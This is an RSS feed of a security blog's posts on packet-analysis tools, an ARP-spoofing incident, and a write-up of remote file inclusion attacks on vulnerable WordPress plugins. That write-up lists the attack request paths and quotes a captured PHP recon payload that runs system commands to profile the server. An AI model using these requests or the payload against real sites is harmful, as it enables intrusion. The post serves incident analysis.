<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Static in the Ether &#187; Hacking</title>
	<atom:link href="http://lair.moria.org/blog/archives/tag/hacking/feed" rel="self" type="application/rss+xml" />
	<link>http://lair.moria.org/blog</link>
	<description>Unix, Information Security &#38; Systems Administration</description>
	<lastBuildDate>Thu, 10 Feb 2011 21:44:47 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.5</generator>
		<item>
		<title>Security Tools update</title>
		<link>http://lair.moria.org/blog/archives/179</link>
		<comments>http://lair.moria.org/blog/archives/179#comments</comments>
		<pubDate>Fri, 06 Feb 2009 21:48:53 +0000</pubDate>
		<dc:creator>Barry Irwin</dc:creator>
				<category><![CDATA[tools]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Network Telescope]]></category>
		<category><![CDATA[Security Tools]]></category>

		<guid isPermaLink="false">http://lair.moria.org/blog/?p=179</guid>
		<description><![CDATA[Over the last week or so a number of new tools have been release either for the first time or as updated versions: tcpreplay is now at version 3.4.0 with a number of significant bugfixes. This staple of packet analysis allows for the replay of captured pcap file back over network interfaces.  Its a great [...]]]></description>
			<content:encoded><![CDATA[<p>Over the last week or so a number of new tools have been release either for the first time or as updated versions:</p>
<ul>
<li><a href="http://tcpreplay.synfin.net/trac/wiki/Download">tcpreplay</a> is now at version 3.4.0 with a number of significant bugfixes. This staple of packet analysis allows for the replay of captured pcap file back over network interfaces.  Its a great way of having a repeatable test framework, or for explosing yout NIDS system to collected bad traffic.</li>
<li><a href="http://www.wallinfire.net/picviz">picviz</a> 0.5 has been released. I blogged about this <a href="http://lair.moria.org/blog/archives/137">before</a> and the project seems to be comming on nicely. Formy own purposes its not much use with my network telescope data, but does produce some pretty pictures for some other work Ive been doing of late. The new version comes with a bumber of new log parsers. A slide deck <a href="http://www.wallinfire.net/files/picviz-usenix-wasl2008.pdf">discussing its use</a> as presented at USENIX 2008 is also available.</li>
<li><a href="http://www.pcapr.net/">pcapr</a> is the new tool out and describes itself as &#8220;<em>web 2.0 meets packets</em>&#8220;, and &#8220;<em>pcapr does to packets what flickr does to pictures&#8221;. </em>If it performs as promised it could make life a lot easier maintinaing libraries of packet captures. The fact its a hosted service does have some distinct disadvantages. Currently there seems to be quote a lot of little snippets. An <a href="http://www.pcapr.net/rss">RSS feed</a> of new content is also available.  Another similar repository s that of <a href="http://www.openpacket.org/">openpacket.org</a></li>
<li><a href="http://research.wand.net.nz/software/libtrace.php">libtrace</a> while not a new tool as such, is somethign I&#8217;ve started workign with recentlyafter comming across it in <a href="http://www.mcs.vuw.ac.nz/comp/graduates/archives/msc/Dean_Pemberton_MSC_Thesis.pdf">Dean Pemberton&#8217;s MSc Thesis</a>2007  on  Internet Background Radiation Arrival Density and Network Telescope Sampling Strategies. The api looks pretty clean and it comes with a couple of nice demo tools which are actually useful.  the URI syntax it uses for accessing files is a little strange but managable.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://lair.moria.org/blog/archives/179/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress  and dealing with incoming hacks</title>
		<link>http://lair.moria.org/blog/archives/46</link>
		<comments>http://lair.moria.org/blog/archives/46#comments</comments>
		<pubDate>Sat, 07 Jun 2008 17:10:09 +0000</pubDate>
		<dc:creator>Barry Irwin</dc:creator>
				<category><![CDATA[Incidents]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://lair.moria.org/blog/?p=46</guid>
		<description><![CDATA[The other day morning stated out with a conversation with darb that went as follows: DARB: so&#8230;wordpress hey? BVI: I got over writing my own code BVI: now I&#8217;m waiting for my blog to be 0wn3d DARB: you know wordpress is the equivalent of an 8ft tall ogre that stands outside looking pretty, smashes tables [...]]]></description>
			<content:encoded><![CDATA[<p>The other day morning stated out with a conversation with <a title="Brad Whittington" href="http://whijo.net/">darb</a> that went as follows:</p>
<blockquote><p>DARB: so&#8230;wordpress hey?<br />
BVI: I got over writing my own code<br />
BVI: now I&#8217;m waiting for my blog to be 0wn3d<br />
DARB: you know wordpress is the equivalent of an 8ft tall ogre that stands outside looking pretty, smashes tables when he tries to sit down, and needs 20kg of food every day&#8230;and offers little or no protection on the side entrance to your establishment?<br />
BVI: exactly!<br />
DARB: lolz<br />
BVI: mine has a spiked collar and a beware of the ogre sign :-)<br />
DARB: that only scares away legitimate users&#8230;bandits read that sign as &#8220;come on in, we left the side door open&#8221;<br />
BVI: yeah<br />
DARB: I love wordpress docs and plugins<br />
DARB: &#8220;just chown your /tmp file, and then chmod 777 everything&#8221;</p></blockquote>
<p>Well not 20 minutes later I noticed a number of Remote file inclusion attacks coming in. Nothing like the ogre having sent out an invite to all and sundry. Attacks were coming looking as follows:<br />
<small> </small></p>
<ul>
<li><small>/blog/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo</small></li>
<li><small>/blog/archives/5/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=</small><small>foo</small></li>
<li><small>/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=</small><small>foo</small></li>
<li><small>/blog/archives/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=</small><small>foo</small></li>
<li><small>/blog/?flav=rss/wp-content/plugins/myflash/myflash-button.php?wpPATH=</small><small>foo</small></li>
<li><small>/wp-content/plugins/myflash/myflash-button.php?wpPATH=</small><small>foo</small></li>
<li><small>/blog/wp-content/plugins/myflash/myflash-button.php?wpPATH=</small><small>foo</small></li>
<li><small>/blog/archives/14/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=</small><small>foo</small></li>
<li><small>/blog/archives/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=</small><small>foo</small></li>
<li><small>/blog/archives/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=</small><small>foo</small></li>
</ul>
<p>In the above the actual path for the exploit codes been replaced with <small>foo</small>, but is of the form of http://site/somepath/tx.txt????, or similar.</p>
<p>Ive now seen this form over eighty different systems.  The include file seems to vary ( see below) but the same plugins are being targeted. No real surprise as they have been known exploitable for a while.</p>
<ul>
<li><a href="http://alexrabe.boelinger.com/wordpress-plugins/myflash/">myflash</a> &lt; v1.1 01 May 2007 <a href="http://xforce.iss.net/xforce/xfdb/34000">ISS-XForce</a></li>
<li><a href="http://wordpress.org/extend/plugins/wordtube/">wordtube</a> &lt; 1.43 01 May 2007 <a href="http://xforce.iss.net/xforce/xfdb/33996">ISS X-Force</a></li>
<li><a title="Defunct plugin ?" href="http://www.wildbits.de/mygallery/#english">mygallery</a> ≤ v 1.2.1 29 April 2007 <a href="http://xforce.iss.net/xforce/xfdb/33955">ISS-X-force</a> <a href="http://www.frsirt.com/english/advisories/2007/1582">FRsirt</a></li>
</ul>
<p>All the requests were may using libwww-perl/5.810, so most likely come from compromised unix systems.  the payload file being referred to has been removed, but I found some others, which are no doubt similar. The algorithm being used for the brute forcing is rather dumb. of the entries listed above, only two relate to viable targets for my given install. I found the request for &#8220;blog/?flav=rss/&#8230;.&#8221; rather amusing.  Another interesting observation is the number of requests centered around <a title="Windows XP failing to hibernate" href="http://lair.moria.org/blog/archives/14">http://lair.moria.org/blog/archives/14</a> my post relating to <a title="Windows XP failing to hibernate" href="http://lair.moria.org/blog/archives/14">Windows XP failing to hibernate</a>. I have yet to see hits on any other particular posts.</p>
<p>Looking at the payload code form some of the other similar attacks, I found the following one interesting, as a more human driven recon script providing information for making a value judgment on the target site rather  than an automated assault. (When will these people learn that <a href="http://en.wikipedia.org/wiki/StudlyCaps">StudlyCaps</a> isn&#8217;t really that cool )</p>
<blockquote><p><code>echo "BraT&lt;br&gt;";<br />
$alb = @php_uname();<br />
$alb2 = system(uptime);<br />
$alb3 = system(id);<br />
$alb4 = @getcwd();<br />
$alb5 = getenv("SERVER_SOFTWARE");<br />
$alb6 = phpversion();<br />
$alb7 = $_SERVER['SERVER_NAME'];<br />
$alb8 = gethostbyname($SERVER_ADDR);<br />
$alb9 = get_current_user();<br />
$os = @PHP_OS;<br />
echo "os: $os&lt;br&gt;";<br />
echo "uname -a: $alb&lt;br&gt;";<br />
echo "uptime: $alb2&lt;br&gt;";<br />
echo "id: $alb3&lt;br&gt;";<br />
echo "pwd: $alb4&lt;br&gt;";<br />
echo "user: $alb9&lt;br&gt;";<br />
echo "phpv: $alb6&lt;br&gt;";<br />
echo "SoftWare: $alb5&lt;br&gt;";<br />
echo "ServerName: $alb7&lt;br&gt;";<br />
echo "ServerAddr: $alb8&lt;br&gt;";<br />
echo "NigeriaN HackerS TeaM&lt;br&gt;";</code></p></blockquote>
<p>Others are not quite so benign, providing command shells, and in some cases drive  by exploits using a number of different tools to try download further payloads onto the system or upload password files, webserver configurations and other sensitive information. c99madscript.php really seems to be the flavour of the month with these, although it has been around a  while.</p>
<p>What all these attempts that Ive seen do have in common are the trailing &#8220;???&#8221; or &#8220;?????&#8221; irrespective of the payload contents of filename. The purpose of these to me is unclear, surely its a pain to type. Is it a bug ina  script, or are people trying to do something else.</p>
]]></content:encoded>
			<wfw:commentRss>http://lair.moria.org/blog/archives/46/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Layer 2 security is still important</title>
		<link>http://lair.moria.org/blog/archives/44</link>
		<comments>http://lair.moria.org/blog/archives/44#comments</comments>
		<pubDate>Wed, 04 Jun 2008 13:46:35 +0000</pubDate>
		<dc:creator>Barry Irwin</dc:creator>
				<category><![CDATA[Incidents]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://lair.moria.org/blog/?p=44</guid>
		<description><![CDATA[Richard Bejtlich posted a few days ago about the &#8216;hack&#8217; on the Metasploit webserver as reported by SunBelt. What is interesting is that the actual website wasnt compromised, but rather another system on the same VLAN at the hosting provider which then performed some ARP spoofing magic against the gateway, in effect redirecting traffic to [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://taosecurity.blogspot.com/">Richard Bejtlich</a> <a href="http://taosecurity.blogspot.com/2008/06/old-school-layer-2-hacking.html">posted</a> a few days ago about the &#8216;hack&#8217; on the <a href="http://www.metasploit.com/" target="_blank">Metasploit</a> webserver as reported by <a title="Sunbelt Blog - Metasploit hacked!" href="http://sunbeltblog.blogspot.com/2008/06/metasploit-hacked.html" target="_blank">SunBelt.</a> What is interesting is that the actual website wasnt compromised, but rather another system on the same VLAN at the hosting provider which then performed some ARP spoofing magic against the gateway, in effect redirecting traffic to itself.</p>
<p>Richard mentions some other recent hacks which can be attributed to the same technique.  If you can control layer 2 why play around at layer 7?  This is something that I probably need to emphasize in my upcoming Infosec course next semester.</p>
]]></content:encoded>
			<wfw:commentRss>http://lair.moria.org/blog/archives/44/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

